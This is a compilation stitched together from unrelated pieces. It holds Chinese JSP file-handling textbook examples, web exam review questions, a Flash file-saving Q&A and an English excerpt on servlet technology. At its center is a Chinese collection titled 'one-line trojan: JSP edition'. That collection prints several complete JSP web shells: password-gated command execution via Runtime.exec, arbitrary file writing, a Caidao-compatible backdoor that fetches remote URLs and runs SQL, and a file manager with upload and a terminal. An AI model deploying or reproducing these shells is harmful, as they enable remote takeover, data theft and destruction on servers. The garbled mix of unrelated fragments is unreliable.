readdata.jsp(1)
4JSP中的文件操作

第4章JSP中的文件操作例子1Example4_1.jsp<%@ page contentType="text/html;charset=GB2312" %><%@ page import="java.io.*"%><HTML><BODY bgcolor=cyan><Font Size=1><%File f1=newFile("E:\\Tomcat5.0\\webapps\\root","Example1_2.jsp");File f2=new File("jasper.sh");%><P> 文件Example1_2.jsp是可读的吗?<%=f1.canRead()%><BR><P>文件Example1_2.jsp的长度:<%=f1.length()%>字节<BR><P> jasper.sh是目录吗?<%=f2.isDirectory()%><BR><P>Example1_2.jsp的父目录是:<%=f1.getParent()%><BR><P>jasper.sh的绝对路径是:<%=f2.getAbsolutePath()%></Font></BODY></HTML>例子2Example4_2.jsp<%@ page contentType="text/html;charset=GB2312" %><%@ page import="java.io.*"%><HTML><BODY><Font Size=2><% File dir=newFile("E:/Tomcat5.0/webapps/root","Students");<P> 在root下创建一个新的目录:Student,<BR>成功创建了吗?<%=dir.mkdir()%><P> Student是目录吗?<%=dir.isDirectory()%></Font></BODY></HTML>例子3Example4_3.jsp<%@ page contentType="text/html;charset=GB2312" %><%@ page import="java.io.*"%><HTML><BODY><Font Size=2><%File dir=new File("E:/Tomcat5.0/webapps/root");File file[]=dir.listFiles();%><BR>目录有:<%for(int i=0;i<file.length;i++){if(file[i].isDirectory())out.print("<BR>"+file[i].toString());}%><P>文件名字:<%for(int i=0;i<file.length;i++){if(file[i].isFile())out.print("<BR>"+file[i].toString());}%></Font></BODY></HTML>Example4_4.jsp<%@ page contentType="text/html;charset=GB2312" %><%@ page import ="java.io.*" %><%!class FileJSP implements FilenameFilter{String str=null;FileJSP(String s){str="."+s;}public boolean accept(File dir,String name){return name.endsWith(str);}}%><P>下面列出了服务器上的jsp文件<%File dir=new File("E:/Tomcat5.0/webapps/root/");FileJSP file_jsp=new FileJSP("jsp");String file_name[]=dir.list(file_jsp);for(int i=0;i<file_name.length;i++){out.print("<BR>"+file_name[i]);}%>例子5Example4_5.jsp<%@ page contentType="text/html;charset=GB2312" %><%@ page import ="java.io.*" %><HTML><BODY><%File f=new File("E:/Tomcat5.0/webapps/root/","A.java");File dir=new File("E:/Tomcat5.0/webapps/root","Students");boolean b1=f.delete();boolean b2=dir.delete();<P>文件A.java成功删除了吗?<%=b1%><P>目录Students成功删除了吗?<%=b2%></BODY></HTML>例子6Example4_6.jsp<%@ page contentType="text/html;charset=GB2312" %><%@ page import ="java.io.*" %><HTML><BODY bgcolor=cyan><FONT size=1><%File dir=newFile("C:/","Students");dir.mkdir();File f=new File(dir,"hello.txt");try{FileOutputStream outfile=new FileOutputStream(f);BufferedOutputStream bufferout=new BufferedOutputStream(outfile);byte b[]="你们好,很高兴认识你们呀!<BR>nice to meet you".getBytes();bufferout.write(b);bufferout.flush();bufferout.close();outfile.close();FileInputStream in=new FileInputStream(f);BufferedInputStream bufferin=new BufferedInputStream(in);byte c[]=new byte[90];int n=0;while((n=bufferin.read(c))!=-1){String temp=new String(c,0,n);out.print(temp);}bufferin.close();in.close();}catch(IOException e){}</BODY></HTML>例子7Example4_7.jsp<%@ page contentType="text/html;charset=GB2312" %><%@ page import ="java.io.*" %><HTML><BODY><%File dir=new File("C:/","Students");dir.mkdir();File f=new File(dir,"apple.txt");try{FileWriter outfile=new FileWriter(f);BufferedWriter bufferout=new BufferedWriter(outfile);bufferout.write("你好:");bufferout.newLine();bufferout.write("好久不见了,近来在忙什么呢?");bufferout.newLine();bufferout.write("欢迎来玩");bufferout.newLine();bufferout.write("2002年8月8日");bufferout.flush();bufferout.close();outfile.close();FileReader in=new FileReader(f);BufferedReader bufferin=new BufferedReader(in);String str=null;while((str=bufferin.readLine())!=null){out.print("<BR>"+str);}bufferin.close();in.close();}catch(IOException e){}%></BODY>例子8English.txt#Take an umbrella with you in case___#it will rain#it rains#it raining#it rained#B##He is no longer the honest man___he was#who#whom#which#that#D##During the recession, thousands of workers were____#laid on#laid down#laid out#laid off#B# #The building casts a large__on the ground#shadow#shade#shanpoo#shawl#D##The driver came close to ___killed for speeding#having been#have been#be#being#A# Example4_8.jsp:<%@ page contentType="text/html;charset=GB2312" %><%@ page import ="java.io.*" %><%@ page import ="java.util.*" %><%int i=0;String str=null;Integer score=new Integer(0);Integer number=new Integer(0);session.setAttribute("score",score);session.setAttribute("序号",number);try{ //englishi.txt存放在f:/2000目录下。
web期末考试复习题

一、填空题(每空2分,共30分):(1)默认安装中,IIS服务器被安装在“[硬盘名]:\”的目录下。
对应的URL是或答案:http://服务器域名;Inetpub\wwwroot(2) 所闻分布式类就是在多个文件中使用相同的命名空间,相同的类名,而且每个类的定义前面都加上____修饰符,编译时编译器就会自动的将这些文件编辑成一个完整的类。
答案:partial(3) 当一个Web控件上发生的事件需要立即得到响时,应该将他的属性设置为true。
答案:AutoPostBack(5)比如在应聘表单的界面上要放入【保存】和【复位】两个按钮,其中【复位】按钮采用的HTML Reset按钮控件,而【保存】按钮则必须是按钮控件。
答案:服务器(6)当需要将TextBox控件作为密码输入框时(要求隐藏密码的代码),应该将控件的TextMode属性设置为.答案:Password(7) 在设计阶段必须将各个验证控件的属性指向被验证的控件。
答案:ControlToValidate(8)使用RegularExpression控件验证输入时,首先要将本控件的属性设置成检查的模式。
答案:ValidationExpress(8) 状态分为4种类型,它们是:视图状态,应用程序状态,会话状态,和——。
答案:Cookie状态。
(9)下面是设置和取出Session对象的代码。
设置Session的代码是:Session[“greeting”]=“hello wang !”;取出该Session对象的语句如下:string Myvar ;答案:=Session[“greeting”].ToString()。
(10) 下面是使用Application对象时防止竞争的代码。
Application. ; //锁定Application对象Application[“counter”]=(int) Application[“counter”]+1;Application. ; //解除对Application对象的锁定答案:lock() unlock()(11)废除Session的语句是:。
一句话木马:JSP篇

⼀句话⽊马:JSP篇JSP⼀句话收集:1、带密码的回显cmd马<% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out 请求:http://x.x.x.x/cmd.jsp??pwd=023&i=whoami2、⼀句话<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>在浏览器地址栏输⼊http://192.168.125.138:8080/222.jsp?f=1.txt&t=hello123123然后再输⼊http://127.0.0.1:8080/test/1.txt3、jsp⼀句话,菜⼑可直连<%@page import="java.io.*,java.util.*,.*,java.sql.*,java.text.*"%><%!String Pwd = "pass";String EC(String s, String c) throws Exception {return s;}//new String(s.getBytes("ISO-8859-1"),c);}Connection GC(String s) throws Exception {String[] x = s.trim().split("\r\n");Class.forName(x[0].trim()).newInstance();Connection c = DriverManager.getConnection(x[1].trim());if (x.length > 2) {c.setCatalog(x[2].trim());}return c;}void AA(StringBuffer sb) throws Exception {File r[] = File.listRoots();for (int i = 0; i < r.length; i++) {sb.append(r[i].toString().substring(0, 2));}}void BB(String s, StringBuffer sb) throws Exception {File oF = new File(s), l[] = oF.listFiles();String sT, sQ, sF = "";java.util.Date dt;SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");for (int i = 0; i < l.length; i++) {dt = new java.util.Date(l[i].lastModified());sT = fm.format(dt);sQ = l[i].canRead() ? "R" : "";sQ += l[i].canWrite() ? " W" : "";if (l[i].isDirectory()) {sb.append(l[i].getName() + "/\t" + sT + "\t" + l[i].length()+ "\t" + sQ + "\n");} else {sF += l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t"+ sQ + "\n";}}sb.append(sF);}void EE(String s) throws Exception {File f = new File(s);if (f.isDirectory()) {File x[] = f.listFiles();for (int k = 0; k < x.length; k++) {if (!x[k].delete()) {EE(x[k].getPath());}}}f.delete();}void FF(String s, HttpServletResponse r) throws Exception {int n;byte[] b = new byte[512];r.reset();ServletOutputStream os = r.getOutputStream();BufferedInputStream is = new BufferedInputStream(new FileInputStream(s));os.write(("->" + "|").getBytes(), 0, 3);while ((n = is.read(b, 0, 512)) != -1) {os.write(b, 0, n);}os.write(("|" + "<-").getBytes(), 0, 3);os.close();is.close();}void GG(String s, String d) throws Exception {String h = "0123456789ABCDEF";int n;File f = new File(s);f.createNewFile();FileOutputStream os = new FileOutputStream(f);for (int i = 0; i < d.length(); i += 2) {os.write((h.indexOf(d.charAt(i)) << 4 | h.indexOf(d.charAt(i + 1))));}os.close();}void HH(String s, String d) throws Exception {File sf = new File(s), df = new File(d);if (sf.isDirectory()) {if (!df.exists()) {df.mkdir();}File z[] = sf.listFiles();for (int j = 0; j < z.length; j++) {HH(s + "/" + z[j].getName(), d + "/" + z[j].getName());}} else {FileInputStream is = new FileInputStream(sf);FileOutputStream os = new FileOutputStream(df);int n;byte[] b = new byte[512];while ((n = is.read(b, 0, 512)) != -1) {os.write(b, 0, n);}is.close();os.close();}}void II(String s, String d) throws Exception {File sf = new File(s), df = new File(d);sf.renameTo(df);}void JJ(String s) throws Exception {File f = new File(s);f.mkdir();}void KK(String s, String t) throws Exception {File f = new File(s);SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); java.util.Date dt = fm.parse(t);f.setLastModified(dt.getTime());}void LL(String s, String d) throws Exception {URL u = new URL(s);int n;FileOutputStream os = new FileOutputStream(d);HttpURLConnection h = (HttpURLConnection) u.openConnection();InputStream is = h.getInputStream();byte[] b = new byte[512];while ((n = is.read(b, 0, 512)) != -1) {os.write(b, 0, n);}os.close();is.close();h.disconnect();}void MM(InputStream is, StringBuffer sb) throws Exception {String l;BufferedReader br = new BufferedReader(new InputStreamReader(is));while ((l = br.readLine()) != null) {sb.append(l + "\r\n");}}void NN(String s, StringBuffer sb) throws Exception {Connection c = GC(s);ResultSet r = c.getMetaData().getCatalogs();while (r.next()) {sb.append(r.getString(1) + "\t");}r.close();c.close();}void OO(String s, StringBuffer sb) throws Exception {Connection c = GC(s);String[] t = { "TABLE" };ResultSet r = c.getMetaData().getTables(null, null, "%", t);while (r.next()) {sb.append(r.getString("TABLE_NAME") + "\t");}r.close();c.close();}void PP(String s, StringBuffer sb) throws Exception {String[] x = s.trim().split("\r\n");Connection c = GC(s);Statement m = c.createStatement(1005, 1007);ResultSet r = m.executeQuery("select * from " + x[3]);ResultSetMetaData d = r.getMetaData();for (int i = 1; i <= d.getColumnCount(); i++) {sb.append(d.getColumnName(i) + " (" + d.getColumnTypeName(i)+ ")\t");}r.close();m.close();c.close();}void QQ(String cs, String s, String q, StringBuffer sb) throws Exception {int i;Connection c = GC(s);Statement m = c.createStatement(1005, 1008);try {ResultSet r = m.executeQuery(q);ResultSetMetaData d = r.getMetaData();int n = d.getColumnCount();for (i = 1; i <= n; i++) {sb.append(d.getColumnName(i) + "\t|\t");}sb.append("\r\n");while (r.next()) {for (i = 1; i <= n; i++) {sb.append(EC(r.getString(i), cs) + "\t|\t");}sb.append("\r\n");}r.close();} catch (Exception e) {sb.append("Result\t|\t\r\n");try {m.executeUpdate(q);sb.append("Execute Successfully!\t|\t\r\n");} catch (Exception ee) {sb.append(ee.toString() + "\t|\t\r\n");}}m.close();c.close();}%><%String cs = request.getParameter("z0")==null?"gbk": request.getParameter("z0") + ""; request.setCharacterEncoding(cs);response.setContentType("text/html;charset=" + cs);String Z = EC(request.getParameter(Pwd) + "", cs);String z1 = EC(request.getParameter("z1") + "", cs);String z2 = EC(request.getParameter("z2") + "", cs);StringBuffer sb = new StringBuffer("");try {sb.append("->" + "|");if (Z.equals("A")) {String s = new File(application.getRealPath(request.getRequestURI())).getParent();sb.append(s + "\t");if (!s.substring(0, 1).equals("/")) {AA(sb);}} else if (Z.equals("B")) {BB(z1, sb);} else if (Z.equals("C")) {String l = "";BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));while ((l = br.readLine()) != null) {sb.append(l + "\r\n");}br.close();} else if (Z.equals("D")) {BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));bw.write(z2);bw.close();sb.append("1");} else if (Z.equals("E")) {EE(z1);sb.append("1");} else if (Z.equals("F")) {FF(z1, response);} else if (Z.equals("G")) {GG(z1, z2);sb.append("1");} else if (Z.equals("H")) {HH(z1, z2);sb.append("1");} else if (Z.equals("I")) {II(z1, z2);sb.append("1");} else if (Z.equals("J")) {JJ(z1);sb.append("1");} else if (Z.equals("K")) {KK(z1, z2);sb.append("1");} else if (Z.equals("L")) {LL(z1, z2);sb.append("1");} else if (Z.equals("M")) {String[] c = { z1.substring(2), z1.substring(0, 2), z2 };Process p = Runtime.getRuntime().exec(c);MM(p.getInputStream(), sb);MM(p.getErrorStream(), sb);} else if (Z.equals("N")) {NN(z1, sb);} else if (Z.equals("O")) {OO(z1, sb);} else if (Z.equals("P")) {PP(z1, sb);} else if (Z.equals("Q")) {QQ(cs, z1, z2, sb);}} catch (Exception e) {sb.append("ERROR" + ":// " + e.toString());}sb.append("|" + "<-");out.print(sb.toString());%>View Code4、⼩马,上传?p=ruphy&f=<%@page import="java.io.*" contentType="text/html; charset=UTF-8" %><%@page import="java.util.zip.*" contentType="text/html; charset=UTF-8" %><%@page import="java.util.*" contentType="text/html; charset=UTF-8" %><%@page import="ng.StringBuilder" contentType="text/html; charset=UTF-8" %> <%@page import=".URLDecoder" contentType="text/html; charset=UTF-8" %> <%!void recursionZip(ZipOutputStream zipOut, File file, String baseDir) throws Exception { if (file.isDirectory()) {File[] files = file.listFiles();for (File fileSec : files) {recursionZip(zipOut, fileSec, baseDir + file.getName() + File.separator);}} else {byte[] buf = new byte[1024];InputStream input = new FileInputStream(file);zipOut.putNextEntry(new ZipEntry(baseDir + file.getName()));System.out.println(file + "压缩成功!");int len;while ((len = input.read(buf)) != -1) {zipOut.write(buf, 0, len);}input.close();}}boolean zip(String filepath, String zipPath) {try {File file = new File(filepath);// 要被压缩的⽂件夹File zipFile = new File(zipPath);ZipOutputStream zipOut = new ZipOutputStream(new FileOutputStream(zipFile));if (file.isDirectory()) {File[] files = file.listFiles();for (File fileSec : files) {if (!fileSec.getAbsolutePath().equals(zipFile.getAbsolutePath()))recursionZip(zipOut, fileSec, file.getName() + File.separator);}} else {recursionZip(zipOut, file, "");}zipOut.close();} catch (Exception e) {return false;}return true;}void copyStream(final InputStream[] ins, final JspWriter out) {for (final InputStream in : ins) {new Thread(new Runnable() {// @Override 不兼容低版本public void run() {if (in == null) return;try {int a = -1;byte[] b = new byte[2048];while ((a = in.read(b)) != -1) {out.println(new String(b));}} catch (Exception e) {} finally {try {if (in != null) in.close();} catch (Exception ec) {}}}}).start();}}String uploadFile(DataInputStream is, String path, int size, String sp) throws IOException {if (size > 20 * 1024 * 1024) {return"上传失败,⽂件太⼤!";}byte bts[] = new byte[size];int br = 0;int tbr = 0;//上传的数据保存在byte数组⾥⾯while (tbr < size) {br = is.read(bts, tbr, size);tbr += br;}String file = new String(bts, "utf-8");String sf = file.substring(file.indexOf("filename=\"") + 10);sf = sf.substring(0, sf.indexOf("\n")).replaceAll("/\\+", "/");sf = sf.substring(stIndexOf("/") + 1, sf.indexOf("\""));String fileName = path + "/" + sf;int pos;pos = file.indexOf("filename = \"");pos = file.indexOf("\n", pos) + 1;pos = file.indexOf("\n", pos) + 1;pos = file.indexOf("\n", pos) + 1;int bl = file.indexOf(sp, pos) - 4;//取得⽂件数据的开始的位置int startPos = ((file.substring(0, pos)).getBytes()).length;int endPos = ((file.substring(0, bl)).getBytes()).length;File checkFile = new File(fileName);if (checkFile.exists()) {checkFile.delete();}FileOutputStream fileOut = new FileOutputStream(fileName);fileOut.write(bts, startPos, (endPos - startPos));fileOut.close();return sf + "⽂件上传成功!";}String getCurrentPath(String file, String p, String url) throws IOException {String path = "";String tmpFile = file.replaceAll("/[^/]+/?$", "/");while (!file.equals(tmpFile)) {path = "<a href='" + url + "?p=" + p + "&f=" + file + "'>" + file.replaceAll(tmpFile, "") + "</a>" + path;file = tmpFile;tmpFile = file.replaceAll("/[^/]+/?$", "/");}path = "<a href='" + url + "?p=" + p + "&f=" + file + "'>" + file + "</a>" + path;return path;}%><%//验证⽤户名String dp = "ruphy";response.setCharacterEncoding("UTF-8");String url = request.getRequestURL().toString();String p = request.getParameter("p");if (!dp.equals(p)) {if (!"true".equals(request.getParameter("c"))) {out.println("<div style='text-align: center;'>访问失败!<span style='color: red'>密码错误!</span></div>");out.println("<div style='text-align: center;'><span>usage: <a style='color: black' href='" + url + "?p=passwd&f=path' >" + url + "?p=passwd&f=path</a></span></div>");out.println("<div style='text-align: center; color: blue'>@copyright by ruphy.</div>");}return;}String m = request.getParameter("m");if (m != null && !"".equals(m.trim())) {out.println("开始执⾏命令: " + m);out.flush();String[] cmds = new String[]{"sh", "-c", m};if (System.getProperty("").toLowerCase().contains("windows")) {cmds = new String[]{"cmd", "/k", m};}Process ps = null;out.print("<xmp>");try {ps = Runtime.getRuntime().exec(cmds);copyStream(new InputStream[]{ps.getInputStream(), ps.getErrorStream()}, out);ps.getOutputStream().close();ps.waitFor();} catch (Exception e) {out.println("<div>执⾏命令 " + m + " 发⽣错误!</div>");} finally {try {if (ps != null) ps.destroy();} catch (Exception ec) {out.println("关闭流出错!");}}out.println("</xmp>");out.println("<div>执⾏命令: " + m + " 完成!</div>");return;}String fn = request.getParameter("f");if (fn == null || "".equals(fn.trim())) {fn = application.getRealPath("/");}String f = fn.replaceAll("\\\\+", "/").replaceAll("/+", "/");String ct = request.getContentType();if (ct != null && ct.indexOf("multipart/form-data") >= 0) {DataInputStream is = new DataInputStream(request.getInputStream());String msg = uploadFile(is, f, request.getContentLength(), ct.substring(stIndexOf("=") + 1, ct.length()));out.println("<script>alert('" + msg + "');location.href='" + url + "?p=" + dp + "&f=" + f + "';</script>");return;}File file = new File(f);if (!file.exists()) {out.println("<script>alert('输⼊⽬录或者⽂件不存在!')</script>");}if ("true".equals(request.getParameter("t")) && file.exists()) {if (zip(f, new File(f).getAbsolutePath() + ".zip")) {out.println("<script>alert('压缩成功!');location.href=location.href.replace(\"&t=true\", \"\").replace(/\\/[^\\/]+$/, '');</script>");}out.println("<script>alert('压缩失败');location.href=location.href.replace(\"&t=true\", \"\").replace(/\\/[^\\/]+$/, '');</script>");return;}if (file.isDirectory() && file.canRead()) {StringBuilder sb = new StringBuilder();File[] files = File.listRoots();String roots = "";for (int i = 0; i < files.length; i++) {roots += "<a style=\"margin-left: 10px;\" href=\"" + url + "?p=" + dp + "&f=" + files[i].getPath().replaceAll("\\\\+", "/") + "/\">" + files[i].getPath() + "</a>";}sb.append("<div><div>");sb.append("<div style='margin: 10px 0 0 20px'><form action=" + url + "?p=" + dp + "&f=" + f + " method='post' enctype='multipart/form-data'>⽂件上传: <input name='fileName' type='file'><input onclick='return confirm(\"上传到当前⽬录:sb.append("</div><div style='margin: 5px 0 20px 20px'><span>根⽬录:" + roots + "</span><span style=\"margin-left: 20px;\">当前⽬录:" + getCurrentPath(f, dp, url) + "</span>"+ "<span style=\"margin-left: 20px;\" ><a href=\"" + url + "?p=" + dp + "&f=" + f.replaceAll("/[^/]+/?$", "/") + "\">返回上级⽬录</a></span>"+ "</div>");sb.append("<div style='max-height: 400px; overflow: auto; background-color: #ffe;'><table><tbody>");files = file.listFiles();for (int i = 0; i < files.length; i++) {if (files[i].canRead()) {sb.append("<tr>"+ "<td><a style=\"margin-left: 20px;\" href='" + url + "?p=" + dp + "&f=" + f + "/" + files[i].getName() + "'>" + files[i].getName() + "</a></td>"+ "<td><a style=\"margin-left: 20px;\" onclick='return confirm(\"确定删除吗?\")' href=\"" + url + "?p=" + dp + "&r=true&f=" + f + "/" + files[i].getName() + "\">删除</a></td>"+ (!files[i].isFile() ? "<td></td>" : "<td><a style=\"margin-left: 20px;\" onclick=\"top.document.getElementById('view-file').setAttribute('src', '" + url + "?p=ruphy&v=true&w=true&f=" + f + "/" + files[i].getName() + "');\" href=\"#\">查 + "<td><a style=\"margin-left: 20px;\" href=\"" + url + "?p=" + dp + "&t=true&f=" + f + "/" + files[i].getName() + "\">压缩</a>"+ "<span style=\"margin-left: 20px\">" + files[i].length() / 1024 + "KB(" + files[i].length() / 1024 / 1024 + "MB)</span></td>"+ "</tr>");}}sb.append("</tbody></table></div></div>");sb.append("<div style='background-color: #ccc;'>");sb.append("<div style='margin: 20px'>虚拟终端:<input id='command' type='text' value='netstat -an' style='width: 250px;border: none;color: red;background-color: black;'/>"+ "<a style='color: blue' onclick=\"var m= top.document.getElementById('command').value;if(!m) return false; top.document.getElementById('view-file').setAttribute('src', '" + url + "?p=ruphy&m=' + encodeURIComponent(m));\" href=\"#\ + "</div>");sb.append("<div style='margin-top: 20px; padding: 5px; height: 600px;max-height: 100%'>"+ "<iframe id='view-file' src='" + url + "?c=true' height='100%' style='width: 100%; height: 100%' frameborder='0'></iframe>"+ "</div>");sb.append("</div>");out.println(sb.toString());out.println("<div><div style='text-align: center;'><span>usage: <a style='color: black' href='" + url + "' >" + url + "?p=passwd</a></span></div>");out.println("<div style='text-align: center; color: blue'>@copyright by ruphy.</div></div>");sb.append("</div>");return;}if ("true".equals(request.getParameter("r"))) {if (file.delete()) {out.println("<script>alert('删除成功!');location.href=location.href.replace(\"&r=true\", \"\").replace(/\\/[^\\/]+$/, '');</script>");}out.println("<script>alert('删除失败!');location.href=location.href.replace(\"&r=true\", \"\").replace(/\\/[^\\/]+$/, '');</script>");return;}if (!"true".equals(request.getParameter("v"))) {response.setContentType("application/octet-stream");response.setHeader("Content-Disposition", "attachment; filename=" + f.replaceAll(".+/+", "").replace("", "_"));} else if (file.length() > 1024 * 1024 * 10) {out.println("⽂件太⼤,请下载查看!");return;}String ctt = java.nio.file.Files.probeContentType(file.toPath());ctt = ctt == null ? "others" : ctt.replaceAll("\\/+.*", "");if ("true".equals(request.getParameter("w"))) {String u = url + "?p=ruphy&v=true&l=true&f=" + f;if ("video".equals(ctt)) {out.println("<div style='width: 800px'><video style='margin-top: 5px; width: 100%' controls=\"controls\" autoplay=\"autoplay\" src='" + u + "' /></div>");return;}if ("audio".equals(ctt)) {out.println("<div style='width: 300px'><audio style='width: 100%' controls=\"controls\" autoplay=\"autoplay\" src='" + u + "' /></div>");return;}if ("image".equals(ctt)) {out.println("<div style='width: 600px'><img style='margin-top: 5px; width:100%;' alt='⾮图⽚' src='" + u + "'/></div>");return;}}if ("true".equals(request.getParameter("l"))) {OutputStream streamOut = response.getOutputStream();InputStream streamIn = new FileInputStream(file);int length = streamIn.available();int bytesRead = 0;byte[] buffer = new byte[1024];while ((bytesRead = streamIn.read(buffer, 0, 1024)) != -1) { streamOut.write(buffer, 0, bytesRead);}response.flushBuffer();streamIn.close();streamOut.close();return;}FileInputStream fis = new FileInputStream(file);InputStreamReader isr = new InputStreamReader(fis, "UTF-8"); BufferedReader br = new BufferedReader(isr);StringBuilder sb = new StringBuilder();sb.append("<xmp>\n");String line = null;while ((line = br.readLine()) != null) {sb.append(line);sb.append("\n");}sb.append("</xmp>");out.println(sb.toString());fis.close();isr.close();br.close();%>View Code。
用Flash储存外部TXT文本和读取的方法

用Flash储存外部TXT文本和读取的方法?悬赏分:50 |解决时间:2010-4-2 13:16 |提问者:miantiao23231.例如我想储存一个舞台上的变量值,这个数值=100那我应该怎么做?2.我想把舞台上的一个为0的变量值,读取为刚才输出到TXT中的数值我应该怎么做。
请把代码按照例子输入,并且每个段代码最好解释一下另外应该注意些什么我想制作一个Flash游戏,可是不知道如何做存档,希望各位老师指点~最佳答案flash读取很简单但是没办法存储文件这个是adobe明确说明的如果要用flash存储文件就必须借助其他手段最简单就是flash+js 当然如果你有ASP jsp后台的能就更好了。
先给段读文件的代码用的是as3脚本。
例如存储的文件还是用xml吧别用txt 解析不方便XML:<config><test>100</test></config>flash函数:function readXML():void{var configLoader:URLLoader= new URLLoader();var RequestXML:URLRequest = new URLRequest('config.xml'); configLoader.load(RequestXML);configLoader.addEventListener(PLETE, getConfig);//载入文件了就执行getConfig函数}function getConfig(e:Event):void{configXML:XML=new XML();configXML=XML(e.target.data);//创建一个xml变量存放xml文件的数据var getTest:String=configXML.test.toString();//获取test节点数据}然后你就能用这个getTest了。
英文技术资料翻译(模版)

附录:英文技术资料翻译英文原文:An Overview of Servlet and JSP Technology1.1 A Servlet's JobServlets are Java programs that run on Web or application servers, acting as a middle layer between requests coming from Web browsers or other HTTP clients and databases or applications on the HTTP server. Their job is to perform the following tasks, as illustrated in Figure 1-1.Figure 1-11.Read the explicit data sent by the client.The end user normally enters this data in an HTML form on a Web page. However, the data could also come from an applet or a custom HTTP client program.2.Read the implicit HTTP request data sent by the browser.Figure 1-1 shows a single arrow going from the client to the Web server (the layer where servlets and JSP execute), but there are really two varieties of data: the explicit data that the end user enters in a form and the behind-the-scenes HTTP information. Both varieties are critical. The HTTP information includes cookies, information about media types and compression schemes the browser understands, and so on.3.Generate the results.This process may require talking to a database, executing anRMI or EJB call, invoking a Web service, or computing the response directly. Your real data may be in a relational database. Fine. But your database probably doesn't speak HTTP or return results in HTML, so the Web browser can't talk directly to the database. Even if it could, for security reasons, you probably would not want it to. The same argument applies to most other applications. You need the Web middle layer to extract the incoming data from the HTTP stream, talk to the application, and embed the results inside a document.4.Send the explicit data (i.e., the document) to the client.This document can be sent in a variety of formats, including text (HTML or XML), binary (GIF images), or even a compressed format like gzip that is layered on top of some other underlying format. But, HTML is by far the most common format, so an important servlet/JSP task is to wrap the results inside of HTML.5.Send the implicit HTTP response data.Figure 1-1 shows a single arrow going from the Web middle layer (the servlet or JSP page) to the client. But, there are really two varieties of data sent: the document itself and the behind-the-scenes HTTP information. Again, both varieties are critical to effective development. Sending HTTP response data involves telling the browser or other client what type of document is being returned (e.g., HTML), setting cookies and caching parameters, and other such tasks.1.2 Why Build Web Pages Dynamically?Many client requests can be satisfied by prebuilt documents, and the server would handle these requests without invoking servlets. In many cases, however, a static result is not sufficient, and a page needs to be generated for each request. There are a number of reasons why Web pages need to be built on-the-fly:1. The Web page is based on data sent by the client.For instance, the results page from search engines and order-confirmation pages at online stores are specific to particular user requests. You don't know what to display until you read the data that the user submits. Just remember that the user submits two kinds of data: explicit (i.e., HTML form data) and implicit (i.e., HTTP request headers). Either kind of input can be used to build the output page. In particular, it is quite common to build a user-specific page based on a cookie value.2.The Web page is derived from data that changes frequently.If the page changes for every request, then you certainly need to build the response at request time. If it changes only periodically, however, you could do it two ways: you could periodically build a new Web page on the server (independently of client requests), or you could wait and only build the page when the user requests it. The right approach depends on the situation, but sometimes it is more convenient to do the latter: wait for the user request. For example, a weather report or news headlines site might build the pages dynamically, perhaps returning a previously built page if that page is still up to date.3.The Web page uses information from corporate databases or other server-side sources.If the information is in a database, you need server-side processing even if the client is using dynamic Web content such as an applet. Imagine using an applet by itself for a search engine site:"Downloading 50 terabyte applet, please wait!" Obviously, that is silly; you need to talk to the database. Going from the client to the Web tier to the database (a three-tier approach) instead of from an applet directly to a database (a two-tier approach) provides increased flexibility and security with little or no performance penalty. After all, the database call is usually the rate-limitingstep, so going through the Web server does not slow things down. In fact, a three-tier approach is often faster because the middle tier can perform caching and connection pooling.In principle, servlets are not restricted to Web or application servers that handle HTTP requests but can be used for other types of servers as well. For example, servlets could be embedded in FTP or mail servers to extend their functionality. And, a servlet API for SIP (Session Initiation Protocol) servers was recently standardized (see /en/jsr/detail?id=116). In practice, however, this use of servlets has not caught on, and we'll only be discussing HTTP servlets.1.3 The Advantages of Servlets Over "Traditional" CGIJava servlets are more efficient, easier to use, more powerful, more portable, safer, and cheaper than traditional CGI and many alternative CGI-like technologies.1.EfficientWith traditional CGI, a new process is started for each HTTP request. If the CGI program itself is relatively short, the overhead of starting the process can dominate the execution time. With servlets, the Java virtual machine stays running and handles each request with a lightweight Java thread, not a heavyweight operating system process. Similarly, in traditional CGI, if there are N requests to the same CGI program, the code for the CGI program is loaded into memory N times. With servlets, however, there would be N threads, but only a single copy of the servlet class would be loaded. This approach reduces server memory requirements and saves time by instantiating fewer objects. Finally, when a CGI program finishes handling a request, the program terminates. This approach makes it difficult to cache computations, keep database connections open, and perform other optimizations that rely on persistent data.Servlets, however, remain in memory even after they complete a response, so it is straightforward to store arbitrarily complex data between client requests.2.ConvenientServlets have an extensive infrastructure for automatically parsing and decoding HTML form data, reading and setting HTTP headers, handling cookies, tracking sessions, and many other such high-level utilities. In CGI, you have to do much of this yourself. Besides, if you already know the Java programming language, why learn Perl too? You're already convinced that Java technology makes for more reliable and reusable code than does Visual Basic, VBScript, or C++. Why go back to those languages for server-side programming?3.PowerfulServlets support several capabilities that are difficult or impossible to accomplish with regular CGI. Servlets can talk directly to the Web server, whereas regular CGI programs cannot, at least not without using a server-specific API. Communicating with the Web server makes it easier to translate relative URLs into concrete path names, for instance. Multiple servlets can also share data, making it easy to implement database connection pooling and similar resource-sharing optimizations. Servlets can also maintain information from request to request, simplifying techniques like session tracking and caching of previous computations.4.PortableServlets are written in the Java programming language and follow a standard API. Servlets are supported directly or by a plugin on virtually every major Web server. Consequently, servlets written for, say, Macromedia JRun can run virtually unchanged on Apache Tomcat, Microsoft Internet Information Server (with a separate plugin), IBM WebSphere, iPlanet Enterprise Server, Oracle9i AS, or StarNine WebStar. They are part of the Java 2 Platform, EnterpriseEdition, so industry support for servlets is becoming even more pervasive.5.InexpensiveA number of free or very inexpensive Web servers are good for development use or deployment of low- or medium-volume Web sites. Thus, with servlets and JSP you can start with a free or inexpensive server and migrate to more expensive servers with high-performance capabilities or advanced administration utilities only after your project meets initial success. This is in contrast to many of the other CGI alternatives, which require a significant initial investment for the purchase of a proprietary package.Price and portability are somewhat connected. For example, Marty tries to keep track of the countries of readers that send him questions by email. India was near the top of the list, probably #2 behind the U.S. Marty also taught one of his JSP and servlet training courses (see /) in Manila, and there was great interest in servlet and JSP 